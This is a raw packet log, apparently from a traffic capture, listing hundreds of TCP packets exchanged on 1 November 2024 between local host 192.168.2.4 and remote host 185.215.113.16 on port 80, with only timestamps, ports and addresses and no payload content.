Nov 1, 2024 08:50:21.249510050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249510050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249522924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249535084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249547005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249560118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249571085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249571085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249583006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249593973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249603987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249607086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249615908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249634981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249640942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249653101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249663115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249663115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249675035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249727964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249728918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249735117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249756098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249767065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249816895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249830008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249830961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249830961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249840975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249871016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249902010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249912977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249937057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249942064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249948978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249954939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249960899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250040054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250053883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250080109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250092030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250099897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250099897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250102997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250134945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250140905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250140905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250147104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250158072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250170946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250183105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250195980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250206947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250225067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250225067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250246048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250272036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250283003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250294924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250334978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250334978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250370026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250381947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250394106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250406027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250417948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250427961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250448942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250458002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250480890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250493050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250504017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250581980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250595093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250621080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250621080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250626087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250637054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250662088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250672102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250674009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250688076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250699997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250711918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250722885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250729084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250741005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250751972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250771999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250771999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250792980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.250968933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250987053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.250998974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251004934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251017094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251039028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251039028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251070023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251116991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251131058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251148939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251157999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251161098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251173973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251184940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251195908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251208067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251209021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251220942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251231909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251243114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251255035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251277924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251277924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251277924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251277924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251291990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251297951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251326084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251326084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251331091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251343966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251355886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251388073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251405001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251405954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251415968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251427889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251467943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251481056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251487017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251511097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251512051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251523972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251535892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251559019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251579046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251595974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251624107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251635075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251646996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251658916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251672029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251683950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.251693010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251693010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.251709938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.252963066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.252980947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.252991915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253006935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253015995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253027916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253029108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253067017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253108978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253120899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253154993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253434896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253447056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253477097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253488064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253498077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253499031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253511906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253540993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253540993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253585100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253684044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253695011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253715992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253731966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253740072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253746033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253758907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253757954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253771067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253781080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253793001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253809929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253810883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253855944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253859043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253873110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253889084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253894091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253900051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253911018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253925085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253936052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253942013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253947020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253952980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253959894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.253967047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253967047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.253968954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.254014015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.254045010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.269637108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.297868967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.297880888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.297892094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.297935963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.297971010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298003912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298015118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298026085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298038960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298051119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298062086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298084974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298084974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298105955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298118114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298129082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298140049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298171043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298171043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298188925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298331022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298343897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298357964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298382044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298383951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298394918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298405886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298418045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298429966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298463106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298470974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298492908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298505068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298515081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298542023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298553944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298563957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298584938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298584938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298584938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298588037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298599005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298610926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298624992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298646927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298665047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298676014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298691034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298702002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298710108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298738003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298748970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298755884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298762083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298806906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298806906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298806906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298819065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298827887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298846006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298858881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298891068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298891068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.298971891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298984051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.298994064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299020052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299036026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299046993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299047947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299047947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299061060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299079895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299114943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299125910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299135923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299140930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299148083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299254894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299254894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299299002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299309969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299336910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299348116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299360037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299371958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299391985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299395084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299395084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299407959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299420118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299431086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299432039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299443960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299468040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299479961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299482107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299494028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299504995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299527884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299539089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299551010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299563885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299563885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299581051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299639940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299650908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299669027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299679041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299701929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299715996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299725056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299725056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299741983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299753904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299763918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299786091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299786091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299788952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299801111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299813032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.299823046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.299844027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.351347923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.380049944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.541856050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.541922092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.541948080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.541987896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.541999102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542020082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.542020082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.542089939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542115927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542133093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542149067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542155027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542164087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542180061 CET	49738	80	192.168.2.4	185.215.113.16
